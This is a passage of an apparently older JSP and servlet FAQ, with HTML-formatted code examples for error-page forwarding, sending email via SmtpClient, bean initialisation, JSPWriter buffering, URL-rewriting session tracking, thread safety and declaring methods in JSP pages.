<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>request.setAttribute (&#8221;javax.servlet.jsp.jspException&#8221;, e);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">    </span>getServletConfig().getServletContext().getRequestDispatcher(errorPageURL).forward(request, response);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">}</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">public void doPost(HttpServletRequest request, HttpServletResponse response) {</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>try {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>// do something</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>} catch (Exception ex) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>try {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>sendErrorRedirect(request,response,&#8221;/jsp/MyErrorPage.jsp&#8221;,ex);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>} catch (Exception e) {</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">   </span>e.printStackTrace();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">}</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691758"><span style="font-size: x-small; font-family: Verdana;">How can I send email from a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can send email from any JSP engine (like the JSWDK reference implementation) that supports the Sun specific sun.net.smtp package. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">(Statutory warning: Using internal Sun-specific packages is not an approach jGuru recommends, as it will prevent your JSP pages from being truly portable.) </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following scriptlet makes use of the SmtpClient class to send an email from within a JSP page. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page import=&#8221;sun.net.smtp.SmtpClient, java.io.*&#8221; %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>String from=&#8221;gseshadri@hotmail.com&#8221;;</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>String to=&#8221;govind@jguru.com, govi@bigfoot.com&#8221;;</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>try{</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>SmtpClient client = new SmtpClient(&#8221;mail.perspex.com&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>client.from(from);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>client.to(to);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>PrintStream message = client.startMessage();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;To: &#8221; + to);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;Subject:<span style="mso-spacerun: yes;">  </span>Sending email from JSP!&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;This was sent from a JSP page!&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;Cool beans! <img src='http://www.dailyinfobyte.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> &#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;Govind Seshadri&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println(&#8221;jGuru.com&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>message.println();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>client.closeServer();</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>catch (IOException e){<span style="mso-tab-count: 1;">     </span></span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">     </span>System.out.println(&#8221;ERROR SENDING EMAIL:&#8221;+e);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>}</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691759"><span style="font-size: x-small; font-family: Verdana;">How do I use a scriptlet to initialize a newly instantiated bean?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">A jsp:useBean action may optionally have a body. If the body is specified, its contents will be automatically invoked when the specified bean is instantiated. Typically, the body will contain scriptlets or jsp:setProperty tags to initialize the newly instantiated bean, although you are not restricted to using those alone. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">The following example shows the &#8220;today&#8221; property of the Foo bean initialized to the current date when it is instantiated. Note that here, we make use of a JSP expression within the jsp:setProperty action. </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;jsp:useBean id=&#8221;foo&#8221; class=&#8221;com.Bar.Foo&#8221; &gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>&lt;jsp:setProperty name=&#8221;foo&#8221; property=&#8221;today&#8221; value=&#8221;&lt;%=java.text.DateFormat.getDateInstance().format(new java.util.Date())</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;&#8221;/&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%&#8211; scriptlets calling bean setter methods go here &#8211;%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;/jsp:useBean &gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691760"><span style="font-size: x-small; font-family: Verdana;">Can you make use of a ServletOutputStream object from within a JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">No. You are supposed to make use of only a JSPWriter object (given to you in the form of the implicit object </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">out</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">) for replying to clients. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">A JSPWriter can be viewed as a buffered version of the stream object returned by response.getWriter(), although from an implementational perspective, it is not. A page author can always disable the default buffering for any page using a </span><em><span style="font-size: 9pt; mso-bidi-font-size: 10.0pt;"><span style="font-family: Times New Roman;">page</span></span></em><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> directive as: </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">&lt;%@ page buffer=&#8221;none&#8221; %&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691761"><span style="font-size: x-small; font-family: Verdana;">How can I enable session tracking for JSP pages if the browser has disabled cookies?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">We know that session tracking uses cookies by default to associate a session identifier with a unique user. If the browser does not support cookies, or if cookies are disabled, you can still enable session tracking using URL rewriting. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">URL rewriting essentially includes the session ID within the link itself as a name/value pair. However, for this to be effective, you need to append the session ID for each and every link that is part of your servlet response. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Adding the session ID to a link is greatly simplified by means of of a couple of methods: response.encodeURL() associates a session ID with a given URL, and if you are using redirection, response.encodeRedirectURL() can be used by giving the redirected URL as input. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Both encodeURL() and encodeRedirectedURL() first determine whether cookies are supported by the browser; if so, the input URL is returned unchanged since the session ID will be persisted as a cookie. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Consider the following example, in which two JSP files, say hello1.jsp and hello2.jsp, interact with each other. Basically, we create a new session within hello1.jsp and place an object within this session. The user can then traverse to hello2.jsp by clicking on the link present within the page.Within hello2.jsp, we simply extract the object that was earlier placed in the session and display its contents. Notice that we invoke the encodeURL() within hello1.jsp on the link used to invoke hello2.jsp; if cookies are disabled, the session ID is automatically appended to the URL, allowing hello2.jsp to still retrieve the session object. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Try this example first with cookies enabled. Then disable cookie support, restart the brower, and try again. Each time you should see the maintenance of the session across pages. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Do note that to get this example to work with cookies disabled at the browser, your JSP engine has to support URL rewriting. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">hello1.jsp</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page session=&#8221;true&#8221; %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>Integer num = new Integer(100);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>session.putValue(&#8221;num&#8221;,num);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;"> </span>String url =response.encodeURL(&#8221;hello2.jsp&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;a href=&#8217;&lt;%=url%&gt;&#8217;&gt;hello2.jsp&lt;/a&gt;</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">hello2.jsp</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%@ page session=&#8221;true&#8221; %&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>Integer i= (Integer )session.getValue(&#8221;num&#8221;);</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">  </span>out.println(&#8221;Num value in session is &#8220;+i.intValue());</span></span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">%&gt;</span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="font-size: x-small;">What&#8217;s a better approach for enabling thread-safe servlets and JSPs? SingleThreadModel Interface or Synchronization</span></span></strong><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">?</span></strong><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Although the SingleThreadModel technique is easy to use, and works well for low volume sites, it does not scale well. If you anticipate your users to increase in the future, you may be better off implementing explicit synchronization for your shared data. The key however, is to effectively minimize the amount of code that is synchronzied so that you take maximum advantage of multithreading. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Also, note that SingleThreadModel is pretty resource intensive from the server&#8217;s perspective. The most serious issue however is when the number of concurrent requests exhaust the servlet instance pool. In that case, all the unserviced requests are queued until something becomes free &#8211; which results in poor performance. Since the usuage is non-deterministic, it may not help much even if you did add more memory and increased the size of the instance pool.</span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"> </span></p>
<h1 style="margin: 0in 0in 0pt;"><a name="_Toc470691762"><span style="font-size: x-small; font-family: Verdana;">How can I declare methods within my JSP page?</span></a></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">You can declare methods for use within your JSP page as declarations. The methods can then be invoked within any other methods you declare, or within JSP scriptlets and expressions. </span></p>
<p class="Blockquote" style="margin: 5pt 0.25in;"><span style="font-size: 9pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 10.0pt;">Do note that you do not have direct access to any of the JSP implicit objects like request, response, session and so forth from within JSP methods. However, you should be able to pass any of the implicit JSP variables as parameters to the methods you declare. For example: </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small; font-family: Courier New;">&lt;%! </span></p>
<p class="Preformatted" style="margin: 0in 0.25in 0pt; tab-stops: 0in 47.95pt 95.9pt 143.85pt 191.8pt 239.75pt 287.7pt 335.65pt 383.6pt 431.55pt;"><span style="font-size: x-small;"><span style="font-family: Courier New;"><span style="mso-spacerun: yes;">      </span>public String whereFrom(HttpServletRequest req) {</span></span></p>
